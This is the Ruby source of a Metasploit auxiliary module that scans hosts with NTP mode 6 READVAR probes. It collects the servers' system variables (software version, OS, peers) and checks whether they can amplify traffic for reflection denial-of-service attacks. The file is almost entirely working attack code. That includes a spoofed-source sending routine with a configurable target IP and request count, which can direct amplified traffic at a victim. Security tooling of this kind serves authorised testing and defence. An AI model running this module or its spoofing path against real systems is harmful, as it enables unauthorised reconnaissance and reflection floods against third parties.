88 lines
2.7 KiB
Ruby
88 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::Udp
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include Msf::Auxiliary::UDPScanner
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include Msf::Auxiliary::NTP
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include Msf::Auxiliary::DRDoS
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'NTP Clock Variables Disclosure',
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'Description' => %q(
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This module reads the system internal NTP variables. These variables contain
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potentially sensitive information, such as the NTP software version, operating
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system version, peers, and more.
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),
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'Author' =>
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[
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'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>', # original Metasploit module
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'Jon Hart <jon_hart[at]rapid7.com>' # UDPScanner version for faster scans
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2013-5211'], # see also scanner/ntp/ntp_monlist.rb
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[ 'URL', 'http://www.rapid7.com/vulndb/lookup/ntp-clock-variables-disclosure' ]
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]
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)
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)
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end
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def scanner_process(data, shost, _sport)
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@results[shost] ||= []
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@results[shost] << Rex::Proto::NTP::NTPControl.new.read(data)
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end
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def scan_host(ip)
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if spoofed?
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datastore['ScannerRecvWindow'] = 0
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scanner_spoof_send(@probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS'])
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else
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scanner_send(@probe, ip, datastore['RPORT'])
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end
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end
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def scanner_prescan(batch)
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@results = {}
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print_status("Sending NTP v2 READVAR probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
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@probe = Rex::Proto::NTP::NTPControl.new
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@probe.version = datastore['VERSION']
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@probe.operation = 2
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end
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def scanner_postscan(_batch)
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@results.keys.each do |k|
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# TODO: check to see if any of the responses are actually NTP before reporting
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report_service(
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host: k,
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proto: 'udp',
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port: rport,
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name: 'ntp',
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info: @results[k].map { |r| r.payload.slice(0,r.payload_size) }.join.inspect
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)
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peer = "#{k}:#{rport}"
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response_map = { @probe => @results[k] }
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vulnerable, proof = prove_amplification(response_map)
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what = 'NTP Mode 6 READVAR DRDoS'
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if vulnerable
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print_good("#{peer} - Vulnerable to #{what}: #{proof}")
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report_vuln(
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host: k,
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port: rport,
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proto: 'udp',
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name: what,
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refs: references
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)
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else
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vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}")
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end
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end
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end
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end
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